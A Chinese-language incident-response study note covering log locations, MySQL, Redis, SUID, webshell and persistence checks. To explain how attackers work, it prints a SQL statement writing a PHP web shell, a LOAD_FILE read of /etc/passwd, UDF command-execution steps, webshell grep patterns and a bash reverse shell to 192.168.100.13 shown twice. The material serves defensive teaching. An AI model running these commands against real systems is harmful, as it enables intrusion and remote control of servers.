应急响应总结

news2024/9/21 2:33:03

应急响应

在这里插入图片描述

日志

windows

  • IIS 6.0 及更早版本

    C:\WINDOWS\system32\LogFiles\W3SVC[SiteID]\

  • IIS 7.0 及更高版本

    C:\inetpub\logs\LogFiles\W3SVC[SiteID]\

  • Apache HTTP Server

C:\Program Files (x86)\Apache Group\Apache2\logs\

或者

C:\Program Files\Apache Group\Apache2\logs\

linux

/var/log/syslog:记录系统的各种信息和错误。(Debian/Ubuntu)

/var/log/messages:记录系统的广泛消息,包括启动和应用程序信息。(CentOS/RHEL)

/var/log/auth.log:记录身份验证相关的信息,如登录和认证失败。(Debian/Ubuntu)

/var/log/secure:记录身份验证相关的信息,如登录和认证失败。(CentOS/RHEL)

密钥登录位置~/.ssh/authorized_keys

登录成功

Accepted

image-20240710230843286

登录错误特殊标记

Failed password for

image-20240710225107285

/var/log/kern.log:记录内核生成的日志信息。

/var/log/dmesg:记录系统启动时内核产生的消息。

/var/log/boot.log:记录系统启动过程中的消息。

/var/log/secure:记录安全相关的消息。

/var/log/httpd/:记录Apache HTTP服务器的访问和错误日志(若安装了Apache)。

/var/log/nginx/:记录Nginx服务器的访问和错误日志(若安装了Nginx)。

mysql

/var/log/mysql/

  • 检查日志文件:

查看MySQL的日志文件,特别是查询日志和错误日志。这些日志可以提供关于执行的查询和任何异常情况的信息。

查询日志:记录所有的查询,包括成功和失败的查询。

错误日志:记录MySQL服务器的错误、警告和通知。

  • 检查审计日志:

如果启用了审计插件,可以查看审计日志。MySQL Enterprise Edition包含一个审计插件,可以记录所有SQL查询。

  • 检查连接历史:

检查MySQL中的连接历史,找出哪些IP地址连接过数据库。可以通过查询information_schema.processlist或performance_schema来获取连接信息。

  • 检查特定的表和列:

查找数据库中是否有存储和执行恶意命令的痕迹,例如system或exec等。

  • 利用 INTO OUTFILE 写入文件

INTO OUTFILE 是 MySQL 提供的一个功能,允许将查询结果写入服务器上的文件。如果攻击者能成功利用这个功能,他们可以将恶意代码写入 Web 服务器目录,生成一个 Web Shell。

示例:

SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

这个命令将在 /var/www/html/ 目录下创建一个名为 shell.php 的文件,包含一个简单的 Web Shell,攻击者可以通过访问该文件执行任意系统命令。

  • 利用 LOAD_FILE 读取文件

LOAD_FILE 是 MySQL 提供的另一个功能,允许读取服务器上的文件内容。攻击者可以利用这个功能读取敏感文件,如系统密码文件 /etc/passwd。

示例:

SELECT LOAD_FILE('/etc/passwd');

这个命令会返回 /etc/passwd 文件的内容,其中包含所有用户的信息。

  • 利用 UDF 执行系统命令

UDF(用户定义函数)允许用户扩展 MySQL 的功能。如果攻击者可以将恶意的共享库上传到服务器,他们可以利用 UDF 执行任意系统命令。

示例步骤:

上传恶意共享库 lib_mysqludf_sys.soMySQL 服务器的插件目录。

创建 UDF 函数:

CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';

使用 UDF 执行系统命令:

SELECT sys_exec('id > /tmp/output.txt');

这个命令将在 /tmp 目录下创建一个文件 output.txt,其中包含执行 id 命令的结果。

常用方法总结
INTO OUTFILE 写入文件:常用于创建 Web Shell 或写入恶意脚本。
LOAD_FILE 读取文件:常用于读取敏感文件,进行信息收集。
UDF 执行系统命令:常用于执行任意系统命令,获取更高权限。

show global variables like '%secure%'; 是一条 MySQL 查询命令,用于显示与 “secure” 相关的全局变量及其当前设置。通过查看这些变量的配置,可以帮助我们了解 MySQL 服务器的安全性设置和限制。

image-20240712153424893

变量分析

require_secure_transport

解释:此变量指定是否强制使用安全连接(如 SSL/TLS)来连接 MySQL 服务器。
值:
ON:强制所有连接使用 SSL/TLS。
OFF:不强制使用 SSL/TLS。
安全性:建议设置为 ON,以确保所有客户端连接使用加密传输,保护数据的传输安全。

secure_auth

解释:此变量控制是否要求客户端使用更安全的密码认证方式。
值:
ON:强制使用 mysql_native_password 或更强的身份验证插件。
OFF:允许使用旧的(不安全的)认证方式。
安全性:建议设置为 ON,以避免使用不安全的旧认证方式。

secure_file_priv

解释:此变量指定 MySQL 服务器可以访问的目录,以执行 LOAD DATA INFILE 和 SELECT INTO OUTFILE 语句。这一变量限制了文件操作的目录范围,防止文件被不当读取或写入。
值:
路径(如 /var/lib/mysql-files/):只允许在指定目录下进行文件操作。
空字符串:禁止所有文件操作。
NULL:没有限制。
安全性:建议设置为指定的安全目录或空字符串,以限制 MySQL 的文件操作范围,减少潜在的文件操作安全风险。

UDF

在进行 UDF (User Defined Function) 提权时,攻击者通常会将恶意共享库文件放在 MySQL 插件目录中。这个目录的默认路径通常是 /usr/lib/mysql/plugin/

攻击步骤

  1. 编写恶意 UDF 插件:攻击者编写一个 .so 文件,该文件包含恶意代码。

  2. 上传恶意插件:利用 MySQL 的文件操作功能将该文件上传到服务器上的某个路径。

    SELECT '' INTO OUTFILE '/path/to/your/udf.so';

  3. 创建 UDF 函数:使用 CREATE FUNCTION 命令将这个共享库文件加载为 MySQL 的 UDF 函数。

    CREATE FUNCTION do_system RETURNS INTEGER SONAME 'udf.so';

  4. 执行命令:调用这个 UDF 函数执行系统命令。

    SELECT do_system('id');

检查和防护

  1. 检查 UDF 函数:查看是否存在异常的 UDF 函数。

    SELECT * FROM mysql.func;

    select sys_eval('whoami');

  2. 限制 secure_file_priv:将 secure_file_priv 设置为一个特定的路径,限制 MySQL 文件操作的范围。

    secure_file_priv = /var/lib/mysql-files

  3. 移除不需要的 UDF 函数:删除所有可疑的 UDF 函数。

    DROP FUNCTION IF EXISTS do_system;

  4. 权限控制:严格控制数据库用户的权限,避免赋予不必要的权限,特别是文件操作和创建函数的权限。

  5. 日志监控:定期检查 MySQL 日志文件,关注异常的文件操作和函数创建活动。

Redis

/var/log/redis.log

版本号查看命令:

redis-cli INFO | grep redis_version
redis-server --version
Redis 5.0.1

未授权访问 是最常见且可能性最大的漏洞

CONFIG SET动态地修改 Redis 的配置参数

SLAVEOF将当前 Redis 服务器设置为另一个 Redis 服务器的从节点

MODULE LOAD 加载模块

SUID

使用 find 命令查找系统中的所有 SUID 文件:find / -perm -u=s -type f 2>/dev/null

  • 检查可疑文件: 查看找到的 SUID 文件,寻找常见的提权工具(如 nmapvimfindawkperl 等)是否在列表中。这些工具如果被设置为 SUID,有可能被利用来执行任意命令。

  • 利用漏洞: 如果找到的 SUID 文件有已知的漏洞,可以利用这些漏洞来执行任意命令。例如,某些版本的 nmap 可以通过 --interactive 模式获得一个 shell,进而提权。

  • 不应拥有 SUID 位的程序: 如常见编辑器(vim)、网络工具(tcpdump)、脚本语言解释器(perl)等。如果这些程序被设置了 SUID 位,通常是异常情况,需要进一步检查。

  • 检查文件的所有权和权限: 例如,一个 root 所有的文件,其权限中包含 SUID 位,可以通过 ls -l 命令查看文件的详细信息。如果发现可疑文件,可以进一步分析其行为。

grep

-a 将其视为文本文件

image-20240710225230900

sort 排序

  • -n 选项表示按数值进行排序。
  • -r 选项表示按降序排序。

uniq 删除重复的行

  • -c
  • 输入文件必须是经过排序的,因为 uniq 命令只检查相邻行之间的重复情况。

perl -e '...' 表示在命令行中直接运行 Perl 代码。

while($_=<>):逐行读取输入。

/for(.*?) from/:使用正则表达式匹配模式“for [username] from”,其中[username]是登录尝试的用户名。

print "$1\n"; 打印出正则表达式中捕获的第一个子匹配(即 $1),然后跟一个换行符 \n

awk '{print $11}'从每一行中提取第11个字段

cut每一行中提取指定的部分

  • -d - 指定字段的分隔符是-
  • -d ' '表示字段分隔符是空格
  • -f 1:指定要提取第一个字段

wc -l 命令用于统计行数

find 查找文件和目录

  • ./ 表示从当前目录开始搜索。

  • -type f 表示只查找文件(不包括目录)。

  • -name "*.php" 表示只查找以 .php 结尾的文件。

  • 2>/dev/null: 将标准错误输出重定向到 /dev/null,以避免显示权限不足等错误信息。

  • -perm -u=s: 查找文件权限中包含 SUID 位(即,用户执行该文件时将获得该文件所有者的权限)。

xargs读取数据,传递给指定的命令。

netstat

-antlp

  • -a:显示所有连接和侦听端口。
  • -n:直接使用数字形式显示地址和端口,而不尝试将它们解析为主机名和服务名。
  • -l:仅显示正在侦听(listening)的连接。
  • -u:仅显示使用 UDP 协议的连接。
  • -p:显示建立相关链接的进程标识符和程序名称。
  • -t:仅显示使用 TCP 协议的连接。

字段解释

  • 1.**Proto:**协议(Protocol)

显示协议类型,常见的有 tcpudp

  • 2.**Recv-Q:**接收队列(Receive Queue)

显示接收队列的字节数。接收队列中的字节数是应用程序还未处理的接收数据。

  • 3.**Send-Q:**发送队列(Send Queue)

显示发送队列的字节数。发送队列中的字节数是已经被应用程序发送,但还未被远程主机接收的字节数。

  • 4.**Local Address:**本地地址

显示本地端的 IP 地址和端口号。例如:0.0.0.0:80 表示本地所有 IP 地址上的 80 端口。

  • 5.**Foreign Address:**远程地址

显示远程端的 IP 地址和端口号。例如:192.168.1.1:12345 表示远程 IP 为 192.168.1.112345 端口。

  • 6.**State:**状态

显示连接的状态。常见状态有:

LISTEN:正在监听连接。

ESTABLISHED:已建立连接。

CLOSE_WAIT:等待关闭连接。

TIME_WAIT:等待足够的时间以确保远程主机收到关闭请求。

  • 7.**PID/Program name:**进程 ID 和程序名

显示使用该连接的进程的进程 ID 和程序名。例如:1234/nginx 表示进程 ID 为 1234 的 nginx 程序。

webshell

PHP: eval(), system(), exec(), shell_exec(), passthru(), assert(), base64_decode()
ASP: Execute(), Eval(), CreateObject()
JSP: Runtime.getRuntime().exec()

  • WebShell经常使用编码和解码技术来隐藏其真实意图,如Base64编码:
eval(base64_decode('encoded_string'));
  • WebShell可能会包含文件操作函数,用于读取、写入或修改文件:

PHP: fopen(), fwrite(), file_get_contents(), file_put_contents()

ASP: FileSystemObject

  • WebShell可能会包含网络操作函数,用于与远程服务器通信:

PHP: fsockopen(), curl_exec(), file_get_contents('http://...')

ASP: WinHttp.WinHttpRequest

//搜索目录下适配当前应用的网页文件,查看内容是否有Webshell特征
find ./ type f -name "*.jsp" | xargs grep "exec(" 
find ./ type f -name "*.php" | xargs grep "eval(" 
find ./ type f -name "*.asp" | xargs grep "execute(" 
find ./ type f -name "*.aspx" | xargs grep "eval(" 
 
//对于免杀Webshell,可以查看是否使用编码
find ./ type f -name "*.php" | xargs grep "base64_decode" 

找免杀马思路,看日志

文件权限

文件权限由三部分组成:所有者(user),组(group),和其他人(others)

  • 4 代表读 (r)
  • 2 代表写 (w)
  • 1 代表执行 (x)

所以7代表读、写、执行 (rwx)

挖矿

检查运行的进程: ps aux

检查系统日志: /var/log/syslog /var/log/auth.log /var/log/messages

检查计划任务cat /etc/crontab

不死马

  • 启动项:在 Windows 中,可以修改注册表中的启动项,在 Linux 中,可以修改 rc.localcrontab

rc.local 是一个在 Unix-like 系统中常见的启动脚本文件

systemctl list-unit-files --type=service列出系统中所有服务单元文件

ls /etc/init.d/在系统启动和关闭时,init 系统会运行这些脚本来启动或停止服务。

/usr/bin可执行程序

反弹shell解析

bash -i >&/dev/tcp/192.168.100.13/777 0>&1

bash -i:

  • 以交互模式启动一个新的Bash Shell。-i参数表示交互式Shell,这样可以确保Shell会读取并执行启动文件,如.bashrc

>& /dev/tcp/192.168.100.13/777:

  • 使用Bash的特殊文件重定向语法,通过TCP连接到IP地址192.168.100.13和端口777。

  • >& 表示将标准输出(stdout)和标准错误(stderr)都重定向到 /dev/tcp/192.168.100.13/777,这个特殊文件实际上是在通过TCP连接发送数据。

0>&1:

  • 将标准输入(stdin)重定向到标准输出(stdout),这样可以将所有输入从TCP连接中读取并执行。
    ll解析
bash -i >&/dev/tcp/192.168.100.13/777 0>&1

bash -i:

  • 以交互模式启动一个新的Bash Shell。-i参数表示交互式Shell,这样可以确保Shell会读取并执行启动文件,如.bashrc

>& /dev/tcp/192.168.100.13/777:

  • 使用Bash的特殊文件重定向语法,通过TCP连接到IP地址192.168.100.13和端口777。

  • >& 表示将标准输出(stdout)和标准错误(stderr)都重定向到 /dev/tcp/192.168.100.13/777,这个特殊文件实际上是在通过TCP连接发送数据。

0>&1:

  • 将标准输入(stdin)重定向到标准输出(stdout),这样可以将所有输入从TCP连接中读取并执行。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1923396.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

推荐一款 uniapp Vaptcha 手势验证码插件

插件地址&#xff1a;VAPTCHA手势验证码 - DCloud 插件市场 具体使用方式可访问插件地址自行查阅

韦东山嵌入式linux系列-实现读LED状态的功能

这是第五篇第5章的课后作业&#xff0c;尝试实现 实现读 LED 状态的功能&#xff1a;涉及 APP 和驱动。 1 LED 驱动能支持多个板子的基础&#xff1a; 分层思想 参考分层思想 ①把驱动拆分为通用的框架(leddrv.c)、具体的硬件操作(board_X.c)&#xff1a; ②以面向对象的思想…

Vue3 引入Vanta.js使用

能搜到这篇文章 想必一定看过demo效果图了吧 示例 Vanta.js - Animated 3D Backgrounds For Your Website (vantajs.com) 1. 引入 在根目录 index.html中引入依赖 <script src"https://cdnjs.cloudflare.com/ajax/libs/three.js/r134/three.min.js"></sc…

jenkins系列-02.配置jenkins

首先&#xff1a;我们要给jenkins配备jdkmaven: 从上一节我们知道 ~/dockerV/jenkins/jenkins/data目录 就是 容器中jenkins的home目录 所以把jdkmaven 放在当前宿主机上的 ~/dockerV/jenkins/jenkins/data目录下即可 容器内&#xff1a; 开始配置jenkins: 注意是在jenkins…

CSIP-FTE考试专业题

靶场下载链接&#xff1a; https://pan.baidu.com/s/1ce1Kk0hSYlxrUoRTnNsiKA?pwdha1x pte-2003密码&#xff1a;admin123 centos:root admin123 解压密码&#xff1a; PTE考试专用 下载好后直接用vmware打开&#xff0c;有两个靶机&#xff0c;一个是基础题&#x…

树莓派PICO使用INA226测量电流和总线电压(2)

上一篇文章里&#xff0c;我们讲了如何设置配置寄存器&#xff08;0x01&#xff09;&#xff0c;在测量电流之前&#xff0c;还需要设置校准寄存器&#xff08;0x05&#xff09;&#xff0c;校准寄存器非常关键&#xff0c;如果不设置这个寄存器&#xff0c;INA226是不会工作的…

同时用到,网页,java程序,数据库的web小应用

具体实现功能&#xff1a;通过网页传输添加用户的请求&#xff0c;需要通过JDBC来向 MySql 添加一个用户数据 第一步&#xff0c;部署所有需要用到的工具 IDEA(2021.1),Tomcat(9),谷歌浏览器&#xff0c;MySql,jdk(17) 第二步&#xff0c;创建java项目&#xff0c;提前部署数…

keil无法读取jlink的一个原因——使用jlink的Vout引脚给芯片供电

keil无法读取jlink的一个原因——使用jlink的Vout引脚给芯片供电 问题背景问题排查 问题背景 在使用 J-Link 对 GD32F470VGT6 进行程序烧录时&#xff0c;遇到下载失败且 J-Link 未能识别设备的问题。 通过检查设备管理器确认 J-Link 驱动已正确安装。 问题排查 对照jil…

免开steam 脱离steam 进行游戏的小工具

链接&#xff1a;https://pan.baidu.com/s/1k2C8b4jEqKIGLtLZp8YCgA?pwd6666 提取码&#xff1a;6666 我们只需选择游戏根目录 然后输入AppID 点击底部按钮 进行就可以了 关于AppID在&#xff1a;

OceanBase:引领下一代分布式数据库技术的前沿

OceanBase的基本概念 定义和特点 OceanBase是一款由蚂蚁金服开发的分布式关系数据库系统&#xff0c;旨在提供高性能、高可用性和强一致性的数据库服务。它结合了关系数据库和分布式系统的优势&#xff0c;适用于大规模数据处理和高并发业务场景。其核心特点包括&#xff1a; …

3分钟搞定Kali Linux安装,超详细教程(附安装包)

**今天写一写Kali渗透中的第一个知识点&#xff1a;Kali安装配置。 俗话说得好&#xff1a;kali学得好&#xff0c;牢饭吃到饱&#xff01;** 相信很多同学在刚接触网络安全的时候&#xff0c;都听过kali linux的大名&#xff0c;那到底什么是kali&#xff0c;初学者用kali能做…

请编写程序,利用malloc函数开辟动态存储单元,存放输入的三个整数,然后按从小到大的顺序输出这三个数

int main() {int* nums;nums (int*)malloc(3 * sizeof(int));if (nums NULL){perror("error:");exit(1);}printf("请输入三个整数\n");int i 0;for (i 0; i < 3; i){scanf("%d", &nums[i]);}printf("请输入的三个整数为\n"…

控制单/多用户权限

多用户权限控制 Unix/类Unix是一个多用户的操作系统&#xff0c;拥有众多的发行版系统。单一用户可以使用chmod命令修改可读可写可执行权限。多用户使用chmod就显得力不从心了。多用户操作权限则使用ACL规则(Access Control List)&#xff0c;即访问控制列表&#xff0c;ACL规则…

数据库的学习(6)

题目&#xff1a; 数据准备创建两张表:部门(dept)和员工(emp)&#xff0c;并插入数据&#xff0c;代码如下create table dept(dept_id int primary key auto_increment comment 部门编号,dept_name char(20)comment部门名称 ); insert into dept (dept_name) values(销售部),(财…

新手-前端生态

文章目录 新手的前端生态一、概念的理解1、脚手架2、组件 二、基础知识1、HTML2、css3、JavaScript 三、主流框架vue3框架 四、 工具&#xff08;特定框架&#xff09;1、uinapp 五、组件库&#xff08;&#xff09;1、uView如何在哪项目中导入uView 六、应用&#xff08;各种应…

Wavlink 路由器攻击链

本文仅用于技术研究学习&#xff0c;请遵守相关法律&#xff0c;禁止使用本文所提及的相关技术开展非法攻击行为&#xff0c;由于传播、利用本文所提供的信息而造成任何不良后果及损失&#xff0c;与本账号及作者无关。 本文来源无问社区&#xff0c;更多实战内容&#xff0c;…

手把手教你打数学建模国赛!!!第一天软件准备篇

第一天软件准备 MATLAB MATLAB&#xff08;Matrix Laboratory&#xff09;是一种强大的数值计算和科学编程软件。它提供了丰富的数学函数和工具&#xff0c;用于数据分析、算法开发、信号处理、图像处理、控制系统设计、仿真等应用领域。 MATLAB具有直观的语法&#xff0c;使…

SAP HCM 定额扣减不生效问题,从定位错误到玩转配置

导读 INTRODUCTION 定额扣减:今天遇到一个很奇怪的问题,就是年假不会扣减年假定额的问题,认真去查看相关配置,但是一直没找到为什么不触发扣减规则,这次出现的问题还是触发规则的问题,触发规则主要这么几类、星期、假期类、日类型、期间工作日程表的技术类、日工作计划类…

用友NC Cloud blobRefClassSearch FastJson反序列化RCE漏洞复现

0x01 产品简介 用友 NC Cloud 是一种商业级的企业资源规划云平台,为企业提供全面的管理解决方案,包括财务管理、采购管理、销售管理、人力资源管理等功能,实现企业的数字化转型和业务流程优化。 0x02 漏洞概述 用友 NC Cloud blobRefClassSearch 接口处存在FastJson反序列…

Apache AGE 聚合函数

简介 一般来说&#xff0c;聚合函数 aggr(expr) 会处理每个聚合键在传入记录中找到的所有匹配行&#xff08;键使用等价性进行比较&#xff09;。 在常规聚合&#xff08;即形式为 aggr(expr) 的情况下&#xff09;&#xff0c;聚合值列表是候选值列表&#xff0c;其中所有空…